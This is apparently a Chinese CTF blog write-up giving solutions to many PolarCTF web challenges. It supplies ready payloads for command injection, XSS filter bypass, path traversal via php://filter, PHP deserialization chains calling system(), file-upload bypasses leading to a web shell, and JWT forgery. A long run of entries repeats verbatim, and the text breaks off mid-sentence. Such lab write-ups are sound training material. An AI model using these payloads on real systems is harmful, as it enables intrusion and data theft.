Polar-web简单
swp
打开环境

直接访问到/.index.php.swp

最大回溯上限绕过preg_match
import requests
url = 'http://7ca655bb-4a02-4c3a-b560-aa8f82601bab.www.polarctf.com:8090/'
data = {
'xdmtql': 'sys nb'+'very' * 250000
}
r = requests.post(url=url, data=data).text
print(r)

简单rce
打开题目
过滤了空格,可以联想到用include直接包含/flag

蜜雪冰城吉警店
发现id从1到8,没有9,根据提醒在element里面将任意一个id改成9再点击

召唤神龙
打开发现是个小游戏

直接view-source查看源代码

看到main.js文件
js解密


seek flag
打开靶场

先看看源码

访问/robots.txt拿到第三段flag
抓包看到id=0

改成id=1,找到flag1

响应包看到flag2

jwt
打开环境,是一个登录页面
一眼垂直越权,先注册一个普通用户,然后jwt伪造成功以admin登录

jwt-cracker爆破出密钥为SYSA

然后jwt伪造

login
打开发现是一个登录页面

查看源代码

发现账号密码都是20200101

只有登录成功,没有其他的东西,试试20200102,看到了f

那就直接爆破拼flag了

iphone

什么都没有

查看源码发现改UA

抓包改一下即可

浮生日记
进去一看
有一个填空框,查看源码可以看到题目要求
结合题目名字,合理可以想到js注入
发现替换了script为空,然后赋值给value 
显然可以先闭合value,然后独立出一个script执行恶意代码
"><scrscriptipt>alert(1)</scrscriptipt>

$$

直接$GLOBALS读全局变量就可 
爆破

if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){ ... }:这行代码检查经过 MD5 加密后的字符串的特定位置的字符是否相同。具体地,它检查字符串的第 2、15 和 18 个字符是否相同。如果这三个位置的字符相同,则执行内部代码块。
if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){ ... }:这行代码对特定位置的字符进行处理,并将它们转换为整数进行计算。具体地,它计算字符串的第 2、15 和 18 个字符的整数值相加,然后除以第 2 个字符的整数值,并检查结果是否等于字符串的第 32 个字符的整数值。如果相等,则执行内部代码块。


XFF

抓包改ip


rce1
过滤空格,用${IFS}绕过即可

;ls

;cat${IFS}fllllaaag.php

查看源码

GET-POST

正常传参就行


被黑掉的站

提示站里还有马

扫出来index.php.bak和shell.php


应该是爆破了

签到题
查看源代码
抓个包看看

承认是弟弟,那就改成yes试试
base64解码

得到个页面,访问进去

替换为空双写绕过即可
/data/index.php?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag

签到

提交键不能点,按F12修改一下前端页面
看到提示

发现写不上去,有长度限制
继续看前端代码,把maxlength放大


session文件包含
打开题目查看是一个输入框

抓包看见ssid

点击mydirectory,回显如下 
查看源码

似乎可以任意文件包含,尝试读文件
?file=php://filter/convert.base64-encode/resource=action.php


是一个php代码,session文件名的构造是sess_ + sessionid , sessionid在cookie中可以查看
?file=/tmp/sess_5i8qqm7jda7ansdpaj3bqg64u0
name=


Don't touch me
查看源码
访问




robots
根据提示


直接访问得到flag
php very nice

PHP反序列化
O:7:"Example":1:{s:3:"sys";s:13:"system('ls');";} 
回显了flag.php
O:7:"Example":1:{s:3:"sys";s:69:"include('php://filter/read=convert.base64-encode/resource=flag.php');";}
ezupload
简单的文件上传
抓包修改成image/gif

蚁剑连接

cookie欺骗

抓包cookie改user=admin即可

upload

随便上传一个php文件,发现直接拿掉了后缀,不对其作为php文件进行解析 
试试双写绕过

蚁剑连接

干正则

jwt
打开环境,是一个登录页面
一眼垂直越权,先注册一个普通用户,然后jwt伪造成功以admin登录

jwt-cracker爆破出密钥为SYSA

然后jwt伪造

login
打开发现是一个登录页面

查看源代码

发现账号密码都是20200101

只有登录成功,没有其他的东西,试试20200102,看到了f

那就直接爆破拼flag了

iphone

什么都没有

查看源码发现改UA

抓包改一下即可

浮生日记
进去一看
有一个填空框,查看源码可以看到题目要求
结合题目名字,合理可以想到js注入
发现替换了script为空,然后赋值给value 
显然可以先闭合value,然后独立出一个script执行恶意代码
"><scrscriptipt>alert(1)</scrscriptipt>

$$

直接$GLOBALS读全局变量就可 
爆破

if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){ ... }:这行代码检查经过 MD5 加密后的字符串的特定位置的字符是否相同。具体地,它检查字符串的第 2、15 和 18 个字符是否相同。如果这三个位置的字符相同,则执行内部代码块。
if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){ ... }:这行代码对特定位置的字符进行处理,并将它们转换为整数进行计算。具体地,它计算字符串的第 2、15 和 18 个字符的整数值相加,然后除以第 2 个字符的整数值,并检查结果是否等于字符串的第 32 个字符的整数值。如果相等,则执行内部代码块。


XFF

抓包改ip


rce1
过滤空格,用${IFS}绕过即可

;ls

;cat${IFS}fllllaaag.php

查看源码

GET-POST

正常传参就行


被黑掉的站

提示站里还有马

扫出来index.php.bak和shell.php


应该是爆破了

签到题
查看源代码
抓个包看看

承认是弟弟,那就改成yes试试
base64解码

得到个页面,访问进去

替换为空双写绕过即可
/data/index.php?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag

签到

提交键不能点,按F12修改一下前端页面
看到提示

发现写不上去,有长度限制
继续看前端代码,把maxlength放大


session文件包含
打开题目查看是一个输入框

抓包看见ssid

点击mydirectory,回显如下 
查看源码

似乎可以任意文件包含,尝试读文件
?file=php://filter/convert.base64-encode/resource=action.php


是一个php代码,session文件名的构造是sess_ + sessionid , sessionid在cookie中可以查看
?file=/tmp/sess_5i8qqm7jda7ansdpaj3bqg64u0
name=


Don't touch me

查看源码
访问




robots
根据提示


直接访问得到flag
php very nice

PHP反序列化
O:7:"Example":1:{s:3:"sys";s:13:"system('ls');";} 
回显了flag.php
O:7:"Example":1:{s:3:"sys";s:69:"include('php://filter/read=convert.base64-encode/resource=flag.php');";}
ezupload
简单的文件上传
抓包修改成image/gif

蚁剑连接

cookie欺骗

抓包cookie改user=admin即可

upload

随便上传一个php文件,发现直接拿掉了后缀,不对其作为php文件进行解析 
试试双写绕过

蚁剑连接

一眼一个变量覆盖,然后flag.php的正则也形同虚设,可以用通配之类的绕过,无回显的shell_exec也直接echo了
?id=a[0]=www.polarctf.com&cmd=;tac f*

cool

?a=passthru('cat f*');

uploader

纯纯的无过滤文件上传,还回显路径
用py写个文件上传脚本
import requests
url = 'http://ca32eb68-d654-4b69-a982-eaf7d23d5242.www.polarctf.com:8090/' # 替换成你的服务器地址
files = {'file': open('D:\CTF\码\yjh3.php', 'rb')} # 将文件名替换为你想上传的文件
response = requests.post(url, files=files)
if response.status_code == 200:
print("文件上传成功!")
print("服务器返回的消息:", response.text)
else:
print("文件上传失败!")
print("错误码:", response.status_code)

拿到$sandbox和filename,拼接得到文件路径
http://c7a1e49d-3dab-41d5-b49a-a03e88aa85c4.www.polarctf.com:8090/d3bccac3aac5b1a98b69c237322df177/shell.php

覆盖

一模一样的题
?id=a[0]=www.polarctf.com&cmd=;tac f*
PHP反序列化初试
一眼出链子
Easy.__wakeup -> Evil.__toString
注意这里的shell_exec也是echo给了回显
<?php
class Easy{
public $name;
}
class Evil{
public $evil;
public $env;
}
$b=new Evil();
$a=new Easy();
$a->name=$b;
$b->evil="tac f*";
echo serialize($a);
?>
O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac f*";s:3:"env";N;}}

机器人

访问/robots.txt

继续访问/27f5e15b6af3223f1176293cd015771d
使用dirsearch探测文件,探测到flag.php

扫扫看

用dirsearch扫一下看看

访问flag.php

查看源码

debudao
查看源码
发现flag不对,抓包看看
解码

审计

md5的0e绕过0e215962017

upload1

不允许php上传

那就把后缀改了,然后抓包


蚁剑连接

rapyiquan

绕过?c.md=ta\c /fl\ag.php

bllbl_ser1

<?php
class bllbl
{
public $qiang;//我的强
}
class bllnbnl{
public $er;//我的儿
}
$b=new bllbl();
$a=new bllnbnl();
$a->er="system('cat /f*');";
$b->qiang=$a;
echo serialize($b);
?blljl=O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:18:"system('cat /f*');";}}

1ncIud3

dirsearch扫一下
扫到flag目录
可以知道page=flag与flag.php是一样的效果
根据提示include把i变成1,e变成3,所以flag可能变成fla9,f1ag,fl4g
?page=..././..././f1a9

投喂

<?php
class User
{
public $username;
public $is_admin;
}
$a=new User();
$a->is_admin=true;
echo serialize($a);
data=O:4:"User":2:{s:8:"username";N;s:8:"is_admin";b:1;}

狗黑子的RCE

会吧gouheizi替换为空,双写绕过


button

一个小游戏,鼠标快点到的时候会跑,查看源码


访问目录即可

井字棋

一个小游戏,平局和输都不会出现flag,抓包看看

把ai改成玩家
简单的导航站
题目打开之后,是一个导航

先注册一个账号

查看用户列表

md5绕过user1[]=1&user2[]=2

在首页发现一个密码

用bp爆破

找到管理员账号密码

文件上传

爆破flag

来个弹窗

看题目应该是XSS
用img标签绕过即可,<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
<scr<script>ipt>alert("XSS")</scr<script>ipt>

background
就一个按钮

查看源码发现js文件
有乱码,抓包看看

fetch是一个用于发送网络请求的功能,它返回一个Promise,表示请求的结果,method是请求方式,body是要发送到服务器的数据
new URLSearchParams创建一个新的 URLSearchParams 对象,允许你以表单的格式编码数据。大括号内的就是表单内容,d是echo,p是I will do it!,看起来就像是一个命令执行,我们尝试修改d和p的值来进行命令执行,post方式在change_background.php路由下传入b和p的值


0e事件


根据题目来看,应该是0e绕过0e215962017

简单的链子

这段PHP代码存在反序列化漏洞和命令执行漏洞。
代码直接使用unserialize()函数处理用户输入($_GET['data']),而没有进行任何过滤或验证。可以构造恶意的序列化对象,当该对象被反序列化时,会实例化类A并设置$cmd属性为任意命令。
由于析构函数会自动执行system($this->cmd),这将导致任意命令执行。析构函数中的system($this->cmd)允许执行任意系统命令。攻击者通过控制$cmd属性的值,可以执行恶意命令。
构造恶意序列化对象
对其进行URL编码后发送请求,得到的响应如图所示:
O%3A1%3A%22A%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D

ghost_render

此页面为Markdown渲染平台,可以上传md文档。此题考查务端模板注入(SSTI) 恶意文件上传绕过
上传功能允许用户提交Markdown文件(.md),但后端会检测内容是否包含危险标签(如

浙公网安备 33010602011771号